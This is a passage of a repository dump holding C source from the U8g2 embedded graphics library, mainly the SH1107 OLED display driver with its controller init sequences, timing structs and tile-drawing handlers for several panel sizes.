*/ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* SSD1306: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 9,\n  /* tile_height = */ 5,\n  /* default_x_offset = */ 30,\n  /* flipmode_x_offset = */ 30,\n  /* pixel_width = */ 72,\n  /* pixel_height = */ 40\n};\n\n/* WiseChip 0.42\" OLED */\nuint8_t u8x8_d_sh1106_72x40_wise(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n    {\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1106_72x40_display_info);\n      return 1;\n    }\n    else if ( msg == U8X8_MSG_DISPLAY_INIT )\n    {\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_sh1106_72x40_init_seq);    \n      return 1;\n    }\n    return u8x8_d_sh1106_72x40_generic(u8x8, msg, arg_int, arg_ptr);\n}\n\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_sh1107.c",
    "content": "/*\n\n  u8x8_d_sh1107.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2017, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n\n\n#include \"u8x8.h\"\n\n/* code copyied from SSD1306 */\n\n\n\nstatic const uint8_t u8x8_d_sh1107_64x128_noname_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_sh1107_64x128_noname_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_sh1107_64x128_noname_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_sh1107_64x128_noname_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic uint8_t u8x8_d_sh1107_HJR_OEL1M0201_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1107_64x128_noname_display_info);\n      break;\n    */\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_64x128_noname_init_seq);    \n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_64x128_noname_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_64x128_noname_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_64x128_noname_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_64x128_noname_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* sh1107 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x *= 8;\n      x += u8x8->x_offset;\n\n      //u8x8_cad_SendCmd(u8x8, 0x040 ); /* set line offset to 0 */\n\n      // set column address\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x >> 4));\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x & 15))); /* probably wrong, should be SendCmd */\n      \n      // set page address\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (2+(((u8x8_tile_t *)arg_ptr)->y_pos)));  /* probably wrong, should be SendCmd */\n    \n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\tu8x8_cad_SendData(u8x8, c*8, ptr); \t/* note: SendData can not handle more than 255 bytes */\n\t/*\n\tdo\n\t{\n\t  u8x8_cad_SendData(u8x8, 8, ptr);\n\t  ptr += 8;\n\t  c--;\n\t} while( c > 0 );\n\t*/\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\nstatic uint8_t u8x8_d_sh1107_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1107_64x128_noname_display_info);\n      break;\n    */\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_64x128_noname_init_seq);    \n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_64x128_noname_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_64x128_noname_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_64x128_noname_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_64x128_noname_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* sh1107 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x *= 8;\n      x += u8x8->x_offset;\n\n      //u8x8_cad_SendCmd(u8x8, 0x040 ); /* set line offset to 0 */\n\n      // set column address\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x >> 4));\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x & 15))); /* probably wrong, should be SendCmd */\n      \n      // set page address\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); /* probably wrong, should be SendCmd */\n    \n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\tu8x8_cad_SendData(u8x8, c*8, ptr); \t/* note: SendData can not handle more than 255 bytes */\n\t/*\n\tdo\n\t{\n\t  u8x8_cad_SendData(u8x8, 8, ptr);\n\t  ptr += 8;\n\t  c--;\n\t} while( c > 0 );\n\t*/\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*==================================================*/\n\n/* QG-6428TSWKG01 */\nstatic const uint8_t u8x8_d_sh1107_64x128_noname_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_CA(0x0dc, 0x000),\t\t/* start line */\n  U8X8_CA(0x081, 0x02f), \t\t/* [2] set contrast control */\n  U8X8_C(0x020),\t\t                /* addressing mode */\n\n  // U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  // U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  // Flipmode\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  \n  U8X8_CA(0x0a8, 0x7f),\t\t/* 0x03f) multiplex ratio */\n  U8X8_CA(0x0d3, 0x060),\t\t/* display offset */\n  U8X8_CA(0x0d5, 0x051),\t\t/* clock divide ratio (0x00=1) and oscillator frequency (0x8) */\n  U8X8_CA(0x0d9, 0x022), \t\t/* [2] pre-charge period 0x022/f1*/\n  U8X8_CA(0x0db, 0x035), \t\t/* vcomh deselect level */  \n  \n  U8X8_C(0x0b0), /* set page address */\n  U8X8_CA(0x0da, 0x012), /* set com pins */\n  U8X8_C(0x0a4),\t\t\t\t/* output ram to display */\n  U8X8_C(0x0a6),\t\t\t\t/* none inverted normal display mode */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const u8x8_display_info_t u8x8_sh1107_64x128_noname_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* sh1107: 3 us */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 50,\t\t/* sh1107: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* sh1107: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 8000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* sh1107: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 8,\n  /* tile_height = */ 16,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 64,\n  /* pixel_height = */ 128\n};\n\nuint8_t u8x8_d_sh1107_64x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    \n  if ( u8x8_d_sh1107_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_64x128_noname_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1107_64x128_noname_display_info);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*==================================================*/\n\n/* init sequence from Grove OLED 96x96 */\nstatic const uint8_t u8x8_d_sh1107_seeed_96x96_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_CA(0x0d5, 0x050),\t\t/* clock divide ratio (0x00=1) and oscillator frequency (0x5) */\n  U8X8_C(0x020),\t\t                /* use page addressing mode */\n  //U8X8_CA(0x0a8, 0x03f),\t\t/* multiplex ratio */\n  U8X8_CA(0x0d3, 0x000),\t\t/* display offset */\n  U8X8_CA(0x0dc, 0x000),\t\t/* start line */\n  //U8X8_CA(0x020, 0x000),\t\t/* horizontal addressing mode */\n  \n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  // Flipmode\n  // U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  // U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  \n  //U8X8_CA(0x0da, 0x012),\t\t/* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) */\n\n  U8X8_CA(0x081, 0x080), \t\t/* [2] set contrast control */\n  U8X8_CA(0x0ad, 0x080), \t\t/* */  \n  U8X8_CA(0x0d9, 0x01f), \t\t/* [2] pre-charge period 0x022/f1*/\n  U8X8_CA(0x0db, 0x027), \t\t/* vcomh deselect level */  \n  // if vcomh is 0, then this will give the biggest range for contrast control issue #98\n  // restored the old values for the noname constructor, because vcomh=0 will not work for all OLEDs, #116\n  \n  //U8X8_C(0x02e),\t\t\t\t/* Deactivate scroll */ \n  U8X8_C(0x0a4),\t\t\t\t/* output ram to display */\n  U8X8_C(0x0a6),\t\t\t\t/* none inverted normal display mode */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const u8x8_display_info_t u8x8_sh1107_seeed_96x96_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 100,\t\t/* cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 100,\t/* cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* sh1107: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 12,\n  /* tile_height = */ 12,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 96,\n  /* pixel_height = */ 96\n};\n\nuint8_t u8x8_d_sh1107_seeed_96x96(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    \n  if ( u8x8_d_sh1107_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_seeed_96x96_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1107_seeed_96x96_display_info);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n\n\nstatic const uint8_t u8x8_d_sh1107_HJR_OEL1M0201_96x96_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n\tU8X8_C(0xAE),//\n\t\n\tU8X8_C(0x0F),//\n\tU8X8_C(0x17),//\n\t\n\t\n\tU8X8_C(0xD9),//\n\tU8X8_C(0x89), //\n\t\n  U8X8_CA(0x0d3, 0x000),\t\t/* display offset */\n  U8X8_CA(0x0dc, 0x070),\t\t/* start line */\n\t\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1 A0��??A1?���?a|��1D����*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n\t\n\tU8X8_C(0xD5),//\n\tU8X8_C(0xB0),//\n\t\n\tU8X8_C(0x20),//\n\t\n\tU8X8_C(0xDB),//\n\tU8X8_C(0x35),//\n\t\n\tU8X8_C(0x81),//\n\t\n\tU8X8_C(0xC7),//\n\t\n\tU8X8_C(0xA4),//A5����????��\n\t\n\tU8X8_C(0xA6),//A6��??A7?���?a?��??��|?\n\t\n\tU8X8_C(0xAD),//\n\tU8X8_C(0x80),//\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nuint8_t u8x8_d_sh1107_hjr_oel1m0201_96x96(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{ \n  if ( u8x8_d_sh1107_HJR_OEL1M0201_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_HJR_OEL1M0201_96x96_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1107_seeed_96x96_display_info);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*==================================================*/\n/* 128x128 OLED: this display has a very strange x offset */\n\n/* sequence taken over from 64x128 sequence, because it seems to work mostly */\nstatic const uint8_t u8x8_d_sh1107_128x128_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_CA(0x0dc, 0x000),\t\t/* start line */\n  U8X8_CA(0x081, 0x02f), \t\t/* [2] set contrast control */\n  U8X8_C(0x020),\t\t                /* use page addressing mode */\n\n  // U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  // U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  // Flipmode\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  \n  U8X8_CA(0x0a8, 0x7f),\t\t/* 0x03f multiplex ratio */\n  //U8X8_CA(0x0d3, 0x060),\t\t/* display offset (removed, not in datasheet ) */\n  U8X8_CA(0x0d5, 0x050),\t\t/* clock divide ratio (0x00=1) and oscillator frequency (0x8), changed to 0x051, issue 501 */\n  U8X8_CA(0x0d9, 0x022), \t\t/* [2] pre-charge period 0x022/f1*/\n  U8X8_CA(0x0db, 0x035), \t\t/* vcomh deselect level */  \n  \n  U8X8_C(0x0b0), /* set page address */\n  U8X8_CA(0x0da, 0x012), /* set com pins */\n  U8X8_C(0x0a4),\t\t\t\t/* output ram to display */\n  U8X8_C(0x0a6),\t\t\t\t/* none inverted normal display mode */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic const u8x8_display_info_t u8x8_sh1107_128x128_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 100,\t\t/* cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 100,\t/* cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* sh1107: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 16,\n  /* tile_height = */ 16,\n  /* default_x_offset = */ 96,\n  /* flipmode_x_offset = */ 96,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 128\n};\n\nuint8_t u8x8_d_sh1107_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    \n  if ( u8x8_d_sh1107_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_128x128_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1107_128x128_display_info);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*==================================================*/\n/* 128x80 OLED, copyied from SEEED 128x128 oled,  this display has a very strange x offset */\n/* https://github.com/olikraus/u8g2/issues/1598 */\n/* this is actually a 80x128 display, but let's keep the 128x80 name */\n\n\nstatic const u8x8_display_info_t u8x8_sh1107_128x80_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 100,\t\t/* cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 100,\t/* cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* sh1107: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 10,\n  /* tile_height = */ 16,\n  /* default_x_offset = */ 24,\n  /* flipmode_x_offset = */ 24,\n  /* pixel_width = */ 80,\n  /* pixel_height = */ 128\n};\n\nuint8_t u8x8_d_sh1107_128x80(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    \n  if ( u8x8_d_sh1107_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_128x128_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1107_128x80_display_info);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*==================================================*/\n/* pimoroni_128x128_display */\n\nstatic const u8x8_display_info_t u8x8_sh1107_pimoroni_128x128_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 100,\t\t/* cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 100,\t/* cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* sh1107: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 16,\n  /* tile_height = */ 16,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 128\n};\n\nuint8_t u8x8_d_sh1107_pimoroni_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    \n  if ( u8x8_d_sh1107_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_128x128_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1107_pimoroni_128x128_display_info);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*==================================================*/\n/*\nName: \tSH1107_seeed_128x128\nURL: \thttps://www.seeedstudio.com/Grove-OLED-Display-1-12-V2.html \nDisplay is there in my lab. Backside PCB label: \"OLED Display 1.12 inch v1.0\"\nTookover code from SSD1327_SEEED_96X96 because none of the other displays did work\nand at least the 96x96 driver did show something.\n*/\n\nstatic const u8x8_display_info_t u8x8_seeed_128x128_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 100,\t\t/* cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 100,\t/* cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 2,\t\t// 400kHz does not work, but 200kHz seems to be ok\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* sh1107: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 16,\n  /* tile_height = */ 16,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 128\n};\n\nuint8_t u8x8_d_sh1107_seeed_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    \n  if ( u8x8_d_sh1107_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_128x128_init_seq); \n      break;\n    case 